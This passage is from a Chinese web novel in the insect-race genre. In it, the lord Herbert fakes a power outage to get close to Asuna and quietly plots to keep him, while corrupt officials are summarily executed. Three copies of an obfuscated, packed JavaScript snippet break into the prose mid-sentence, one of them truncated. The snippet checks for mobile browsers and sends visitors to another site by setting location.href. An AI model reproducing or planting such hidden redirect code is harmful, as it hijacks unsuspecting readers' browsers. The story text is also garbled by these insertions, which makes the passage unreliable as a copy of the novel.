阿苏纳刚到公寓,赫伯特就知道了。等阿苏纳进了门,他又特意打开了花洒,给足了阿苏纳方位暗示。 他在监控中看着阿苏纳从在门口犹豫徘徊到一点点靠近他的卧室套间,等阿苏纳走到卧室的小客厅外时,他才关掉了花洒。 他做了这么多,自然不可能让阿苏纳这个时候跑掉。 况且,也没有雌虫能拒绝他的要求。 “是。” 阿苏纳低着头慢慢走了过来,坐在赫伯特旁边并接过了毛巾。 赫伯特的健康有专门的团队负责照顾,他自己又不像许多雄虫那样成日作天作地毫不顾惜身体地玩乐,身体状态自然远超同龄虫。 体现在头发上,就是又粗又黑。 体现在身体上,就是肌肉线条明显。 他微微侧过了身,视线没有再放在阿苏纳身上,眼睛微眯,这让心中窘迫的阿苏纳稍稍松了口气。 刚洗完澡的雄虫阁下,身体似乎仍带着水汽。尽管阿苏纳一刻不停地在擦拭赫伯特的头发,但仍有水滴顺着发丝滴落在他的肩上,随后又随着肩膀滚落在胸膛,甚至有部分水珠积聚在了腹肌的凹陷上。 他们两个靠得太近,尽管阿苏纳竭力管控自己的视线都集中在雄虫阁下乌黑茂密的头发上,但他无法控制自己的视野范围,仍有视线无可避免地落在了赫伯特赤裸的上身。 雄虫阁下们很少有这样精心管控过的身材,之前赫伯特穿上定制西装的时候,便是宽肩窄腰长腿,那时尚可以说只是身体比例好,但现在,他露出了白日里被西装革履藏起来的身体…… 阿苏纳默默加快了手上擦头发的动作。 在有了各种吹干头发的工具后,手动擦干就成了最低效、最耗时的原始方式。 阿苏纳总感觉手中越来越沉,他最初还以为是胳膊举久了发酸,毕竟今时今日的他再不比往日。 直到,赫伯特闭着眼整个身体都朝他倒了过来。 14. 第 14 章 刚洗完澡的赫伯特浑身散发着沐浴液的清爽气味,是类似淡淡的苹果香气,但又比单纯的果香多了层次,让阿苏纳想到饱满的苹果刚熟时就被从树上摘下,用刀锋划开,迸溅出淡黄色的汁水,清新而又爽口。 阿苏纳从未闻到过类似的沐浴露香气,前所未有的好闻,吸入鼻腔后,就迅速充盈了全身,仿佛他身上的每一个细胞都要染上了同样的气味。 当赫伯特的身体向他倒来时,这种淡淡的气息开始摇曳,如同杯中被晃动的酒液,连同他的心也想要跟着一起天旋地转。 但是,他的心不可以。 阿苏纳隔着毛巾单手撑住了赫伯特的后背,不让他们的距离被拉得更近。 阿苏纳在心底叹了口气,轻声喊醒赫伯特。 赫伯特无法再装模作样,只得睁开眼,装作睡眼惺忪的样子,实则现在距离他平时入睡的时间还有好几个小时,他清醒得很。 见赫伯特醒来,阿苏纳就放开了撑在赫伯特后背的手。 赫伯特的头发差不多干了,只在发尾还有点湿气,但阿苏纳已经放下了毛巾:“阁下,好了,我先帮您上药吧,这样您之后就可以休息了。” 赫伯特还能说什么,是他自己刚刚装睡,总不能现在立刻又和阿苏纳说他不困也不急,可以等头发慢慢被擦干吧?他只能点头说好。 阿苏纳取出他带过来的药膏,这是那天医生给他的, 在这个空隙,赫伯特拿起光脑歉意地对阿苏纳说:“抱歉,可能要让你再稍等我一下,我突然想起有点工作上的事没有交代。” 阿苏纳摇了摇头:“没关系的,阁下。” 赫伯特仍旧没有穿上衣,赤裸着上身。在没有手头上的事做后,阿苏纳一时有些尴尬。 旁边的赫伯特似是很专心地在和下属发信息,阿苏纳静静垂下眼坐在旁边,视线落在柔软的长毛地毯上,脑中却不知道在想什么,或者说他其实是脑中混乱一片,什么也想不了。 好在赫伯特很快就放下了光脑,并配合地把脸伸了过来。 阿苏纳拧开药膏,虽然注意力放在了药膏上边,但目光却即使再小心也总是会触碰到赫伯特的腹肌,心神不宁下药膏也不小心挤多了,回神时已经挤了一大坨在手指上。 赫伯特迟疑地盯着他手指上的药膏:“这是……打算给我敷面膜吗?” 阿苏纳盯着手指上明显超量的药膏,一时也有些沉默,但他很快就语气格外严肃地对赫伯特说:“阁下,厚敷能好得更快一些。” 说着,他的手指就轻轻点在了赫伯特脸上的伤处。 阿苏纳涂药的时候似乎极其专注,双眼认真地盯着那处红肿的地方,手上的动作一丝不苟却非常轻柔。 赫伯特能清晰地看见那双眼睛上每一根微颤的睫毛,纤长浓密,些许上翘。 突然,他眼前一黑。 安静的房间陷入一片黑暗,只有窗纱外的光线透进来些许,但也只是能让赫伯特的眼睛在适应黑暗环境后能隐隐绰绰看到眼前雌虫的轮廓。 阿苏纳的声音响起:“阁下,请不要慌张,应该是停电了,我去外面看看。” “别!”黑暗中赫伯特精准抓住了阿苏纳就要从他脸上撤离开的手指,“留下来陪我。” 声音中似是带着一丝不安,让阿苏纳再挪不动脚:“是,阁下。” 赫伯特顺着阿苏纳那根被他握住的手指,握住了阿苏纳的整个手,边带着歉意地说:“抱歉,我……”赫伯特握紧了阿苏纳的手。 雄虫阁下在黑暗中罕见流露出的脆弱,让阿苏纳无法说不。第一次被这样依赖的感觉他反握住赫伯特的手,用另一只手轻轻拍了拍赫伯特的手背,安抚地轻声说:“没关系,阁下,我会在这里陪着你。” 冰凉的手和火热的手交握,说不清是谁在陪着谁。 赫伯特知道雌虫在黑暗的环境中依旧能看清周围,所以他仍旧保持了警醒,没有露出不该有的笑容。 他自然不可能怕黑,而这样的高级公寓更不可能停电。 在被放到一旁的光脑里,仍有他和助理发送信息的记录:【两分钟后拉掉电闸。】 黑暗中,赫伯特的视力受到了影响,欲望却在无限繁殖滋生。 他握住的手冰凉,却反倒让他的呼吸更加火热,就像冰火相接时迸发出的剧烈反应,将他越发拉入情.欲漩涡。 他面上却压抑住了这种渴望,反而皱起眉头,对阿苏纳一本正经地说:“恒温系统停了,感觉有点冷,你可以抱住我吗?” 让一个雌虫抱住赤.裸上身的雄虫,即使是什么都不懂的虫听到,都会觉得这话太过暧昧,这个请求也不免有些冒犯。 但如赫伯特所料,阿苏纳的视线并不受黑暗影响,他可以清晰地看见赫伯特脸上的所有细微表情,自然也没有遗漏雄虫脸上因忍耐而皱起的眉头。 他抬起手却又顿住,几秒后他抬起的手放了下来,反倒去推开了赫伯特握住他的那只手:“阁下,公寓这么久还没来电很有可能是出了问题,我必须要出去查看情况以确保您的安全,请您稍稍忍耐一会儿。” 他的态度坚决,没有等赫伯特的答复就站了起来,快步往外走。 阿苏纳一离开,赫伯特就恢复了平日里的正常姿态,面无表情拿起光脑给待命的助理发去信息:【阿苏纳出去查看了,恢复电闸吧,处理干净,别被他发现。】 电力没过几秒就恢复了正常,房间内外又明亮起来。 阿苏纳返回到房间时,赫伯特已经披上了一件睡袍,只是中间没有系上腰带,仍半袒露着胸膛和腹肌。 阿苏纳没有坐下,而是向赫伯特告辞:“阁下,药已经上好了,那我就先走了。” 赫伯特心知急不得,没有迟疑就同意了下来:“好。不过我不知道你有没有吃晚饭,就让厨房也给你准备了食物放在饭盒里,你一起带走吧。” 他弯着嘴角站起身:“跟我过来拿。” 他没有给阿苏纳推辞的机会,径直走了出去,阿苏纳也只好跟在他身后。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17064704|195115||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 饭盒连带着袋子一同放在恒温箱内保温,赫伯特把袋子拿出来亲手交到阿苏纳手上:“好好吃饭,明天见,阿苏纳。” 阿苏纳攥紧了袋子的提手,抿了抿嘴唇,轻声说:“谢谢您,阁下。” 赫伯特颔首,没有送他出去,而是回到了刚刚的房间。 不得不说,阿苏纳松了一口气。 下了楼,他到公寓服务前台,问值班的虫:“你好,请问刚刚停电的原因有查清吗?” “您好。”公寓值班的虫看着他,似乎在辨别他是谁。 短暂的停顿后,值班的虫弯起嘴角,露出标准微笑:“请您放心,停电故障已经排查并清除,这只是小概率事件,您不必担心。” 阿苏纳点了点头,没有再说什么。 离开公寓,好在还赶得上公交的末班车。阿苏纳坐上公交,微微松了一口气。 他打开赫伯特递给他的袋子,里面只有一个简单的保温桶,拧开盖子,菜肉粥的热气扑面而来,温暖得仿佛能抚平一整天的劳累。 这种浓郁的香气在此时格外诱虫,周围不少同样赶末班车脸上表情早已麻木的虫都不约而同望向了他。 司机同样闻到了弥漫到整个车内的香气,他从后视镜瞥了一眼,朝阿苏纳喊话:“后面那个喝粥的虫,注意点,别把粥撒到座位上。” “好的,抱歉,我只是看一眼,回去再喝。”阿苏纳又拧上了盖子。 他抱着那一桶热粥,仿佛心也暖和了起来。 …… 阿苏纳离开公寓后,助理回到之前那个房间。赫伯特正靠坐在沙发上,闭着眼用指关节敲击扶手。 和在阿苏纳面前不一样,赫伯特已经系好了睡袍腰带,穿得严严实实。助理站在旁边,在瞄到赫伯特的脸色后,不敢发出一点动静。 房间内很安静,窗户密封隔音效果极佳,外边的噪音完全进不来。 赫伯特开口,像是在问助理,又像是在问自己,带着些许困惑和对自我的怀疑:“你说,他怎么就能舍得走呢?难道我对雌虫的吸引力已经大不如以往?” 这个“他”指的是谁,助理一清二楚,却不敢作声。 不过赫伯特其实也不需要助理的答案,他睁开眼,目光晦暗不明。 半响,他发出一声轻笑:“也是,要是轻易就能被勾.引,反倒没有意思了。” “你说呢?”他转头看向助理。 助理连忙点头应和:“是是,阁下您说得极对。阿苏纳先生能被您看重,自然是和寻常的那些普通雌虫不一样,他看起来应该是内心很有坚守也很坚韧的一个虫。要不要我去私下查查他的身世背景?” 赫伯特听了助理的话轻哼一声,显然他也认同阿苏纳的特殊。不过—— “查就不用了,轻易知道里边内容的书有什么意思?对于他,我还是愿意花费一些时间,慢慢了解。” “毕竟,”赫伯特目光放在之前和阿苏纳交握的那只手上,缓缓合拢手心,握紧,“他逃不掉。” 15. 第 15 章 自从那次公寓停电事件后,阿苏纳按照要求,每天像上班打卡似的早中晚一次不落,出现在赫伯特的办公室和公寓,只是像那次撞见雄虫阁下洗完澡出来的情况再没有发生过。 平日里的赫伯特克己复礼,即使面对阿苏纳时,心底的欲念已经如岩浆般翻涌,依旧完美扮演了一位温和守礼的雄虫,绝不做出任何越界的举动。 数日过去,阿苏纳彻底放下心来。 那晚的种种暧昧举动似乎只是他自作多情的多思多想,看样子冷淡自持的雄虫阁下并没有别的意思。就连那日特意准备好让他带走的热粥,也被他归结为赫伯特阁下生性就善良体贴。 如此一想,他反倒成了不坦然的那一个。 阿苏纳释然一笑,将心底隐隐生出的怀疑彻底抹除,同时也更加尊敬赫伯特这位与众不同的善良阁下。 而收敛起来的赫伯特,也只是一味在吃饭时给阿苏纳不停夹菜。毕竟阿苏纳太瘦了,这么瘦,以后……抱起来不够舒服。 阿苏纳不知赫伯特如此顾虑深远,他在一次次夹菜和赫伯特温和的微笑中,渐渐放下了该有的警惕和防备,殊不知正一步步走向被伪装和表现编织起来的无形大网。 赫伯特向来会洞察虫心,他如同蛰伏的狩猎者般,默默在一次次的见面中观察着阿苏纳的态度变化,耐心等待着下一次出手的时机。 或者,自己创造时机。 …… 赫伯特脸上的瘀伤本就不严重,加上涂抹的药膏也没有虫敢替换成假冒伪劣产品,即使雄虫的恢复能力不如雌虫,但没过多久也好了,完全恢复如初。 上药和送饭本就是赫伯特提出的对阿苏纳打伤自己的惩罚,虽然送饭只实行了一次就因为阿苏纳过于糟糕的厨艺而终止,但现在赫伯特的脸伤好了,惩罚也就没有继续下去的理由。 在午饭后,医生复查确认了瘀伤彻底好全且没有给雄虫阁下留下任何后遗症。 阿苏纳自觉向赫伯特提出:“感谢阁下对我所犯过错的宽容,既然您现在已经完全好了,那我明日起就不再来打扰您了。” 赫伯特的视线慢慢划过阿苏纳的脸和身体,唇角几不可察地弯了弯,面色却始终平静得如同只是在应允一件微乎其微的事:“好,这段时间辛苦你了。” 阿苏纳说不清现在自己心中究竟是什么感觉,按理说他终于能彻底松下一口气该开心才是。打伤雄虫阁下的事顺利解决,他没有进雄保会的监狱,也没有被上级抓到把柄丢了工作,简直是幸运到极点。 但可能是这些日子每天三次到雄虫阁下面前报到让他形成了习惯,突然不用再做这样的事后,他内心竟也有些空落落的感觉。 他垂下眼帘,郑重回答:“您言重了,这是我应该做的事情。” 是的,就是这样,他应该回到他原本的生活轨道上,回归平静,回归平凡,也回归每天没有虫一同用餐的日子。 一旁的助理默默看着端坐在桌后面色平淡的雄虫阁下,和自以为已经能脱离雄虫阁下的阿苏纳,心底不禁打了个寒颤。 在很多虫眼中,赫伯特阁下似乎只是一时兴起短暂插手了阿苏纳负责的那个项目。他自从被打伤脸后,就再也没有在政府大楼露面,连同在索斯福亚集团内部,项目也又被移交回了原来负责的虫手里。 阿苏纳和赫伯特唯一联系的理由也被斩断。在阿苏纳的生活中,这位格外温和的雄虫阁下就如同绚烂划过天际的流星一般,璀璨耀眼地出现,短暂的停留,又迅速消失在他的世界,再不可能见到。 唯一给阿苏纳留下的,是那间部长灵机一动下挪给他的狭小办公室。 下午阿苏纳回到政府大楼,路过大办公室时却发现里边鸦雀无声。平时吵吵嚷嚷的同事都不约而同闭上嘴,低头默默干着手里的活儿。 阿苏纳立刻察觉到肯定有事发生了,但他之前休息时间一直待在赫伯特那边,并不知道短短一个中午究竟发生了什么大事。他在部门受到上级打压,也没有什么同事敢和他交好,自然也无法从别的虫那里打听到消息。 没过多久,上级就把他喊了过去:“负责另一个项目的虫出了点事,他的项目之后就由你来接手,明天就出发去当地。” 阿苏纳这才知道发生了什么事,原来是政府这边有负责虫在和企业对接项目时,联合企业那边的负责虫中饱私囊,贪污数额巨大,被企业逮了个现行报了警。 这件事本不会让大办公室的政府虫们个个自危,但坏就坏在这件事惊动了企业上边的高等级雄虫阁下。阁下震怒,要求政府严惩所有涉案虫,从严、从重、从快判决,让该死的贪污犯绝不能活到明天天亮。 于是,从中午涉案虫突然在政府大楼被抓捕,到被押到法院审判,不到一小时主犯那个政府虫就已经被宣判立即执行死刑,现在可能已经被拉出去爆头了。 政府机构的办事效率在暴怒的高等级雄虫阁下的要求下,就是可以达到这样令虫惊恐的速度。 难怪……大办公室里的虫下午都在争当隐形虫。主犯虫死了,但被贪腐的项目还没有结束,下一个被派去的虫很有可能要面对的就是暴怒中的雄虫阁下,谁也不想像那个虫一样惹怒阁下后被光速处理掉。 而现在,这份吃力不讨好且具有一定生命危险性的活儿被上级果断派给了自己的眼中刺,阿苏纳。 之前赫伯特突然到访惊动部长的那次,上级并不在部门而是去了外地出差,等回来后他就听说了这件事。他本来忐忑不安,以为赫伯特那样的高等级雄虫阁下看上了阿苏纳,但等了数天只等来了原来的那位负责虫,他的心就又彻底放下了,以为这事只是雄虫阁下的一次心血来潮,不过他也由此更加忌惮阿苏纳。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17064705|195115||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >他和阿苏纳的关系不好有许多虫都知道,加上他打压阿苏纳多时,一旦让阿苏纳翻身,迎接他的可能就是阿苏纳现在的处境。而阿苏纳的能力又不差,说不准真就哪天能越过他被提拔上去,他不得不防。 现在有这样一个好机会有可能除掉阿苏纳,他简直要笑出声来。一旦阿苏纳稍有不慎,就会惹怒那位已经很是不满的雄虫阁下,到时候等待阿苏纳的结局说不定和这个项目的前任负责虫一样。 上级丢给阿苏纳一份文件:“这是项目的相关信息,你去了那边切记要认真办事。听说上边的那位阁下正在密切关注这个项目,很有可能会亲自到场。” 上级露出一个看似和善的笑容,拍了拍阿苏纳的肩膀:“能亲自见到高等级雄虫阁下的机会可不多,好好把握,说不定不多时你就能借助这位阁下的势力升上去,到时说不定我也要仰仗你。” 他早就托朋友打听过了,那位身份尊贵的雄虫阁下似乎有洁癖,最是厌恶主动凑上去的雌虫。想到朋友说的话,他在心底冷笑了几声,面上却表现得对阿苏纳越发亲切。 “是。”阿苏纳心知上级没憋好屁,但还是面色平静地接过文件。 要说在政府工作没有攀龙附凤想法的普通雌虫最怕遇到的,无疑是那些高等级的雄虫阁下们。他们有钱有势,从小就没有虫敢忤逆他们的心意,即使是部长亲自上马,也要小心伺候,更别提普通基层政府虫,稍有差池,可能就万劫不复。 阿苏纳清楚,像赫伯特那样,被他误伤也依旧愿意替他在雄保会那隐瞒、依旧愿意轻易就原谅他的雄虫阁下,终究是少数中的少数。 这次,他要是再犯错,怕是凶多吉少。 棘手项目被交到他手里负责的消息,在他还没有离开上级办公室前,就已经被路过“不小心”听到谈话的同事传播开来。他一路走回去,收到的都是同情但躲避的眼神。 他们同情他的不幸遭遇,但又害怕被他拉着一同面对盛怒的雄虫阁下。 阿苏纳的心智早就磨练出来了,不会因为同事的变化而受到丝毫影响,但想到刚刚上级说的话,他的心情还是不由沉重下来。 回到办公室,阿苏纳深呼吸片刻后,才准备好翻看那份移交给他的项目文件。 整份文件格外厚,远超他接手过的任何项目。这意味着这个项目的复杂程度远超寻常,也难怪已经被爆头的前任负责虫能找到漏洞贪污掉大笔款项。 阿苏纳只觉得头疼,他是中途接手,并不熟悉项目之前的情况,而现在能给他详细讲解的虫要不可能已经烧成灰埋了,要不就是正在监狱蹲着。 对项目情况不明确是大忌,说不定什么时候就出错暴雷,引火烧身。 他默默叹了口气,伸手翻开文件,下一秒却目露惊愕。 里边文件的封面上赫然标着“索斯福亚集团”。 16. 第 16 章 索斯福亚集团总部顶层,宽敞明亮装修奢华的办公室内,一个穿着高定西装的雌虫正笔挺跪在地上。明明阳光灿烂,室内也温度适宜,他却偏偏冷汗直冒,细看小腿肚上的肌肉还时不时在抽搐。 这里安静到可怕,似乎所有喧嚣都止步于办公室外。静到跪在地上的雌虫仿佛可以听清自己身体内血液在血管内流动的声音,静到他已经在恍惚中感觉自己快死了,不是物理上的消亡,而是心理上在经受巨大压力后精神被彻底碾碎。 助理就站在他侧面,微低着头等候不远处靠坐在皮椅上的雄虫阁下的吩咐。 赫伯特漫不经心地翻动着手中的文件,这是关于集团内部项目贪腐案的调查报告,而地上跪着的雌虫,就是分管这个项目的副总。 在索斯福亚集团,只有一个不可替代、掌控一切的王,就是现在坐在皮椅上翻阅调查报告的那位雄虫阁下,集团的唯一掌控者,赫伯特。至于其他虫,即使身居副总一职,也依旧是雄虫阁下手中随时可以替换的棋子。 毕竟,副总下边还有无数虫时时刻刻想着的都是顶替掉他们的上司。优秀,只是进入索斯福亚集团为赫伯特阁下工作的门槛,虫族社会的高等级雄虫阁下们从不缺优秀的虫想要为他们工作。 “罗克斯。” 赫伯特开口,吓得跪在地上的罗克斯一激灵,他连忙膝行上前几步:“阁下,我在。” 赫伯特垂眸瞥向战战兢兢的副总,语调悠悠:“这次中饱私囊的项目经理是你的直系下属?” 罗克斯只觉得自己的心脏都快紧张到缺血发凉了,他不敢迟疑,立刻回答:“是的,阁下。”想了想,他还是试图为自己辩解一句:“那个胆大妄为的雌虫是我下属的下属,这个级别的员工太多了,他之前都没有在我面前出现过几次,他——” 赫伯特轻哼一声,罗克斯立刻闭上嘴。 赫伯特手腕一扬,手中的文件夹就“啪”的一声丢到了罗克斯面前,罗克斯的心脏也跟着猛缩了一下。 冰冷的声音响起:“这个数额的贪腐,竟然大半年都没有虫发现。公司层层架构,让你们这些副总位居虫上,不是让你们被供起来养着的。” 罗克斯的手指不停颤抖,但面对雄虫阁下甩过来的调查报告,他捡也不是,不捡也不是。他索性上半身趴伏在地上,将头深深埋在地毯里,以示谢罪和臣服。 “你说,”赫伯特的语调拉长,声音却格外平静,“没用的虫应该怎么处理?” 罗克斯再难克制住内心的恐惧,浑身颤个不停。赫伯特平静的声音在他听来那就是雄虫阁下正压抑着滔天的怒火,打算将一干办事不利的虫打入无间地狱。 别的虫生气到想杀虫可能只是说说而已,但雄虫阁下生气到想杀虫是真能杀啊! 在他进雄虫阁下的办公室前他就收到了关于这件贪腐案的最新消息,两边的贪腐主犯已经被执行枪决爆头了!法律流程走得简直快到不可思议! 要知道普通的死刑一套流程走下来至少要几个月,但在雄虫阁下从严从重从快的要求下,那两个倒霉鬼不到两小时就走完了别的死刑犯数个月甚至几年的路。 他虽然不至于也被拉出去枪毙,但敢让雄虫阁下失望,也没比被执行死刑好到哪去,那简直堪称社会性死亡,谁还敢再聘用他或者和他合作?没有虫愿意,也没有虫敢。 但罗克斯觉得自己还能再抢救一下。 他壮着胆子抬起头,声音还带着颤音地提出建议:“阁下,我觉得有时候高价值的废物还是可以再利用一下的,不如采用将功赎罪的方式?现在社会上都提倡环保,咱们要不、要不也稍稍就那么稍稍跟风一下?” 边说,他边小心翼翼地观察赫伯特的神情变化。 “废物利用?”赫伯特轻笑了一声,看向他的眼神却犹如在看死物。 罗克斯的心拔凉拔凉,像被戳了八百个洞,嗖嗖直灌风。 他自暴自弃地再次将头埋在地毯里,仿佛看不见就不会发生不好的事,没想到却听见—— “好。” “什、什么??!!”罗克斯的头瞬间弹射起来,满眼不敢置信。 在触及赫伯特不耐的视线后,他立马迫不及待地连声说:“谢谢阁下!谢谢阁下宽宏大量!我以后一定会更加认真更加用心地办事,绝不会发生这次的情况了,请您相信我,请您……” 赫伯特的指节敲了敲座椅扶手,罗克斯立刻止住口中还没冒完的那些感恩戴德的话语,眼巴巴地望着赫伯特。 赫伯特坐在高处睨视仍旧跪在地上,但精神状态看起来好多了的罗克斯,悠悠开口:“如你所愿,这次把戴罪立功的机会给你。” 罗克斯刚要露出欣喜,就听到赫伯特又说:“但是——” 赫伯特的指节敲了一下扶手,皮质扶手发出轻轻一声闷响,到了罗克斯耳中却犹如惊雷般让他瞬间打了个颤。 赫伯特一字一顿地说:“这次要是办砸,罗克斯,你在我这就再没有任何机会可言。” 罗克斯嘴唇颤抖着,怔怔点了点头。 赫伯特没再看罗克斯,对助理抬了抬手指。 助理立刻会意,上前几步弯腰对跪在地上的罗克斯说:“副总,请您跟我这边走,具体要做的事将由我来告知您。”边说,边伸手去扶罗克斯起来。 罗克斯还真是需要助理扶他一把。 他虽然是雌虫身体好,久跪也没什么事,但刚刚实在是太过紧张,以至于他浑身从头到脚都处于高度紧绷状态,腿早就麻了,动一下就针扎般地疼。 可他不敢发出一点声音,在助理的搀扶下狼狈起身,艰难地拖着麻了的腿,小心翼翼地退出了雄虫阁下的办公室。 他单独跟着助理来到另一处地方,然后,他就接到了一个奇怪的任务。 大费周章,却只是针对一个普普通通的雌虫。 罗克斯面露迟疑。 不是他道德底线有多高,实在是这件事真的太古怪了。依照雄虫阁下的财势,捏死一个没有背景的政府虫轻而易举,他想不通要整治这个雌虫为什么还要费这么多功夫。 他想问又不敢问。 助理看出了他的好奇,但却没有回答,只是皮笑肉不笑地提醒他:“副总,您只需要做好该做的事,管好自己的嘴,阁下的想法不是您能去揣测的。否则,后果应该不用我来提醒您吧?” 罗克斯浑身一冷,再不敢多想赫伯特交代他做的这些事的用意。 …… 项目场地在临近滨海的区域,距离阿苏纳工作的城市乘坐公共交通需要两个多小时。幸好索斯福亚集团提供食宿,这才让阿苏纳不至于在报销下来之前先饿死。 在项目爆出贪腐后,另一位高级别政府虫阿特斯已经第一时间就赶到了这里收拾残局,以及承担起平息雄虫阁下怒火的责任。 在看到阿苏纳赶过来后,他明显松了口气。虽然这个项目立项之初是被各方争抢的香饽饽,但现在出了事不再是什么好活,正常虫都避之不及,没想到这次这么快就把干活的虫给他送过来了。 索斯福亚集团那边也派来了新的负责虫,职级从原先的项目经理,一下跃升到了副总,可见那位雄虫阁下怒气之盛和对此事之关注。这样一来,雄虫阁下亲临现场的可能性大大增加。 阿特斯不由暗暗叫苦,看来这次他和新来的那个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17064706|195115||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年轻雌虫同事,有很大可能要直面雄虫阁下的怒火了。 可没想到接下来一周,他们和那位副总在现场加班到要死要活,雄虫阁下却始终没有现身。 倒是这里的伙食不错,吃得他脸色越发红润。就这,那位副总还担心高强度的工作会把他们两个政府来的虫压垮,贴心给他们准备了全方位的体检,丝毫看不出来因为之前的贪污事件要向他们问罪的意思。 阿特斯放心了。 他好久没回家,打算抽空回家一趟看看。 站在车前,他拍了拍阿苏纳的肩膀:“年轻虫,我这次短暂离开几天,正是你锻炼自己的好机会。好好干,很快我就回来了。” 阿苏纳点点头。 十分钟后,阿特斯再次出现在阿苏纳面前。 他确实很快就回来了,但丧着一张脸,表情沉重,拍了拍阿苏纳的肩膀:“年轻虫,阁下要来了,准备准备吧。” 赫伯特要来现场的消息到得很突然,打了所有虫一个措手不及。几乎是雄虫阁下已经快到了,他们才接到上边的通知。 因为不清楚赫伯特具体什么时间抵达,一群虫一刻也不敢耽搁,收到消息后就立刻行动起来,相关虫齐齐站在路边等着迎接雄虫阁下。 集团的掌控者尊贵的雄虫阁下要亲临现场,所有虫都是又期待又紧张。他们既希望雄虫阁下能亲眼看到他们努力工作的成果,又害怕不小心会在雄虫阁下眼皮子底下搞出什么疏漏。 作为政府方派来的代表,阿特斯自然也得到了迎接陪同雄虫阁下的机会。但与索斯福亚集团那些虫不同的是,他有的完全是紧张和忐忑。 他都如此不安,以己度虫,他觉得阿苏纳这样的年轻虫更是不可能保持镇静,哪怕表面上看不出来,恐怕内心也早已惶恐不安。 他以前辈的身份安慰阿苏纳:“别担心,就算阁下再如何生气,也会给政府几分面子。” 这话是安慰阿苏纳,也未尝不是在安慰他自己。但他心里清楚,在虫族社会,像赫伯特这样位高权重的高等级雄虫阁下,真要做点什么,很少能有什么顾虑。 阿苏纳睫羽轻垂,遮住了眸中的神色。 与阿特斯所想不同的是,他眼中没有不安,没有恐慌,有的只是……说不清道不明的情绪。 这种情绪是陌生的,他自己也分辨不清楚他心中怀揣的究竟是喜悦?忐忑?还是莫名生出的酸涩?亦或是别的什么。 自从那天告辞后,他和赫伯特便再没有了联系,即使是雄虫阁下的助理也没有再联系他。 他出现在这里,雄虫阁下应该是不知道的,而等一会儿,他们就会再次见面。 他在心中反复想,他见到雄虫阁下后该说些什么?如果阁下问起他怎么在这,他又该如何回答?是仅仅和其他虫一样向阁下问好吗?还是要说一声“好久不见了,阁下。”? 这种毫无意义的纠结拉扯着他的内心,让他本来平静的心跳有些失常加速。 好在他们没等多久,雄虫阁下的出行车队就到了。 在保镖们的簇拥下,赫伯特走近了早就等候在外的项目相关虫们。 与所有等候的虫之前所设想的不同的是,高高在上的雄虫阁下并没有冷着脸,而是嘴角挂着一丝温和的微笑。笑容虽浅,却安抚了在场所有虫的心,让不少虫都受宠若惊。 罗克斯和阿特斯立刻满脸笑容地带着一群虫迎上前去,周围气氛瞬间变得热烈起来。 赫伯特的目光慢慢划过在场所有虫的脸,也和站在这群虫中的阿苏纳对视上了片刻,他微微颔首,随即视线很快又移向了别的虫。 就好像,他们只是不熟悉的陌生虫。 17. 第 17 章 两天前。 阿苏纳的体检报告刚出来,就立刻被送到了赫伯特的办公室。赫伯特大致翻看了一遍,就搞清楚了为什么阿苏纳看着如此苍白削瘦,远不如正常雌虫健康。 是精神力方面的病症。 在虫族,精神力方面的疾病也被称为半绝症。所有精神力方面的疾病没有具体的病名,只有笼统的概括。 由于雄虫被法律严格保护,高等级精神力的雄虫更是稀少且地位尊崇,精神力疾病的研究进展缓慢,截至目前,也依然没有有效的医疗干预手段。 几乎所有患者都是雌虫。一旦确诊,除非找到精神力足够强的伴侣,否则生命就开始进入倒计时。也就是说,即使雌虫好不容易找到雄主,如果对方精神力等级不够,也同样无法阻止生命力快速下滑。 赫伯特丝毫不担心这个问题,他的精神力等级已经处于虫族目前发现的最高精神力等级。如果他都不行,那就可以直接判定为绝症了。 然而令他困惑的是,阿苏纳的精神力情况如此之差,理应抓住一切求生的机会,拼命在精神力彻底崩溃前找到高等级雄虫做伴侣,为何在面对他时却……赫伯特眼睛微眯,内心不爽到了极点。 是觉得高攀了他?还是觉得他实在不合心意所以宁可去死也不愿意?亦或是,欲迎还拒? 可赫伯特一向自傲能轻易看透虫心,阿苏纳在他眼中并不是个城府深沉、别有用心的虫。他索性丢开不去想这其中的缘由,反正他的目的始终都是让阿苏纳心甘情愿、欲罢不能地成为他的雌虫。 阿苏纳的体检报告被他丢到一边,转而拿起另一份检验报告。 这,才是他真正想要知道的东西。 一份基因匹配报告。 早在赫伯特确定了只有他能闻到的香气源头在阿苏纳身上后,就开始各方查找原因。虽然已经基本可以确定不是沐浴露或香水一类的气味,但难保会是一些长效停留物质在发挥作用,比如内服一些违禁药物或是别的隐蔽物质。 